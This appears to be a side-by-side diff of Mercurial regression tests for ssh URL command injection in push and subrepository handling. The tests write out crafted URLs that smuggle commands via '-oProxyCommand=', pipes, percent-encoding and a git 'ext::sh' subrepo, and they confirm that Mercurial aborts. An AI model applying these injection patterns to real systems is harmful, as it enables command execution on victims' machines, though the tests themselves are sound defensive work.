| pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
| [255] | |||||
| $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path' | |||||
| pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
| [255] | |||||
| $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path' | |||||
| pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path' | |||||
| pushing to ssh://fakehost%7Ctouch%20owned/path | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| $ [ ! -f owned ] || echo 'you got owned' | |||||
| remote: added 1 changesets with 1 changes to 1 files | remote: added 1 changesets with 1 changes to 1 files | ||||
| remote: KABOOM | remote: KABOOM | ||||
| local stdout | local stdout | ||||
| debug output | debug output | ||||
| $ hg pull --debug ssh://user@dummy/remote | $ hg pull --debug ssh://user@dummy/remote | ||||
| pulling from ssh://user@dummy/remote | pulling from ssh://user@dummy/remote | ||||
| running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re) | running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) | ||||
| sending hello command | sending hello command | ||||
| sending between command | sending between command | ||||
| remote: 355 | remote: 355 | ||||
| remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN | remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN | ||||
| remote: 1 | remote: 1 | ||||
| preparing listkeys for "bookmarks" | preparing listkeys for "bookmarks" | ||||
| sending listkeys command | sending listkeys command | ||||
| received listkey for "bookmarks": 45 bytes | received listkey for "bookmarks": 45 bytes | ||||
| remote: KABOOM | remote: KABOOM | ||||
| remote: KABOOM IN PROCESS | remote: KABOOM IN PROCESS | ||||
| local stdout | local stdout | ||||
| debug output | debug output | ||||
| $ hg pull --debug ssh://user@dummy/remote | $ hg pull --debug ssh://user@dummy/remote | ||||
| pulling from ssh://user@dummy/remote | pulling from ssh://user@dummy/remote | ||||
| running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re) | running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) | ||||
| sending hello command | sending hello command | ||||
| sending between command | sending between command | ||||
| remote: 355 | remote: 355 | ||||
| remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN | remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN | ||||
| remote: 1 | remote: 1 | ||||
| query 1; heads | query 1; heads | ||||
| sending batch command | sending batch command | ||||
| searching for changes | searching for changes | ||||
| updating to branch default | updating to branch default | ||||
| cloning subrepo s from ext::sh -c echo% pwned:% $PWNED_MSG% >pwned.txt | cloning subrepo s from ext::sh -c echo% pwned:% $PWNED_MSG% >pwned.txt | ||||
| abort: git clone error 128 in s (in subrepository "s") | abort: git clone error 128 in s (in subrepository "s") | ||||
| [255] | [255] | ||||
| $ f -Dq pwned.txt | $ f -Dq pwned.txt | ||||
| pwned: you asked for it | pwned: you asked for it | ||||
| #endif | #endif | ||||
| test for ssh exploit with git subrepos 2017-07-25 | |||||
| $ hg init malicious-proxycommand | |||||
| $ cd malicious-proxycommand | |||||
| $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub | |||||
| $ git init s | |||||
| Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/ | |||||
| $ cd s | |||||
| $ git commit --allow-empty -m 'empty' | |||||
| [master (root-commit) 153f934] empty | |||||
| $ cd .. | |||||
| $ hg add .hgsub | |||||
| $ hg ci -m 'add subrepo' | |||||
| $ cd .. | |||||
| $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
| updating to branch default | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s") | |||||
| [255] | |||||
| also check that a percent encoded '-' (%2D) doesn't work | |||||
| $ cd malicious-proxycommand | |||||
| $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub | |||||
| $ hg ci -m 'change url to percent encoded' | |||||
| $ cd .. | |||||
| $ rm -r malicious-proxycommand-clone | |||||
| $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
| updating to branch default | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s") | |||||
| [255] | |||||
| Test that sanitizing is omitted in meta data area: | Test that sanitizing is omitted in meta data area: | ||||
| $ mkdir s/.svn/.hg | $ mkdir s/.svn/.hg | ||||
| $ echo '.hg/hgrc in svn metadata area' > s/.svn/.hg/hgrc | $ echo '.hg/hgrc in svn metadata area' > s/.svn/.hg/hgrc | ||||
| $ hg update -q -C '.^1' | $ hg update -q -C '.^1' | ||||
| $ cd ../.. | $ cd ../.. | ||||
| SEC: test for ssh exploit | |||||
| $ hg init ssh-vuln | |||||
| $ cd ssh-vuln | |||||
| $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub | |||||
| $ svn co --quiet "$SVNREPOURL"/src s | |||||
| $ hg add .hgsub | |||||
| $ hg ci -m1 | |||||
| $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub | |||||
| $ hg ci -m2 | |||||
| $ cd .. | |||||
| $ hg clone ssh-vuln ssh-vuln-clone | |||||
| updating to branch default | |||||
| abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s") | |||||
| [255] | |||||
| also check that a percent encoded '-' (%2D) doesn't work | |||||
| $ cd ssh-vuln | |||||
| $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub | |||||
| $ hg ci -m3 | |||||
| $ cd .. | |||||
| $ rm -r ssh-vuln-clone | |||||
| $ hg clone ssh-vuln ssh-vuln-clone | |||||
| updating to branch default | |||||
| abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s") | |||||
| [255] | |||||
| also check that hiding the attack in the username doesn't work: | |||||
| $ cd ssh-vuln | |||||
| $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub | |||||
| $ hg ci -m3 | |||||
| $ cd .. | |||||
| $ rm -r ssh-vuln-clone | |||||
| $ hg clone ssh-vuln ssh-vuln-clone | |||||
| updating to branch default | |||||
| abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepository "s") | |||||
| [255] | |||||
| $ hg diff -S --rev 'p2()' --nodates | $ hg diff -S --rev 'p2()' --nodates | ||||
| diff -r 7cf8cfea66e4 bar.txt | diff -r 7cf8cfea66e4 bar.txt | ||||
| --- /dev/null | --- /dev/null | ||||
| +++ b/bar.txt | +++ b/bar.txt | ||||
| @@ -0,0 +1,1 @@ | @@ -0,0 +1,1 @@ | ||||
| +bar | +bar | ||||
| $ cd .. | $ cd .. | ||||
| test for ssh exploit 2017-07-25 | |||||
| $ cat >> $HGRCPATH << EOF | |||||
| > [ui] | |||||
| > ssh = sh -c "read l; read l; read l" | |||||
| > EOF | |||||
| $ hg init malicious-proxycommand | |||||
| $ cd malicious-proxycommand | |||||
| $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub | |||||
| $ hg init s | |||||
| $ cd s | |||||
| $ echo init > init | |||||
| $ hg add | |||||
| adding init | |||||
| $ hg commit -m init | |||||
| $ cd .. | |||||
| $ hg add .hgsub | |||||
| $ hg ci -m 'add subrepo' | |||||
| $ cd .. | |||||
| $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
| updating to branch default | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s") | |||||
| [255] | |||||
| also check that a percent encoded '-' (%2D) doesn't work | |||||
| $ cd malicious-proxycommand | |||||
| $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub | |||||
| $ hg ci -m 'change url to percent encoded' | |||||
| $ cd .. | |||||
| $ rm -r malicious-proxycommand-clone | |||||
| $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
| updating to branch default | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s") | |||||
| [255] | |||||
| also check for a pipe | |||||
| $ cd malicious-proxycommand | |||||
| $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub | |||||
| $ hg ci -m 'change url to pipe' | |||||
| $ cd .. | |||||
| $ rm -r malicious-proxycommand-clone | |||||
| $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
| updating to branch default | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| $ [ ! -f owned ] || echo 'you got owned' | |||||
| also check that a percent encoded '|' (%7C) doesn't work | |||||
| $ cd malicious-proxycommand | |||||
| $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub | |||||
| $ hg ci -m 'change url to percent encoded pipe' | |||||
| $ cd .. | |||||
| $ rm -r malicious-proxycommand-clone | |||||
| $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
| updating to branch default | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| $ [ ! -f owned ] || echo 'you got owned' | |||||
| and bad usernames: | |||||
| $ cd malicious-proxycommand | |||||
| $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub | |||||
| $ hg ci -m 'owned username' | |||||
| $ cd .. | |||||
| $ rm -r malicious-proxycommand-clone | |||||
| $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
| updating to branch default | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepository "s") | |||||
| [255] | |||||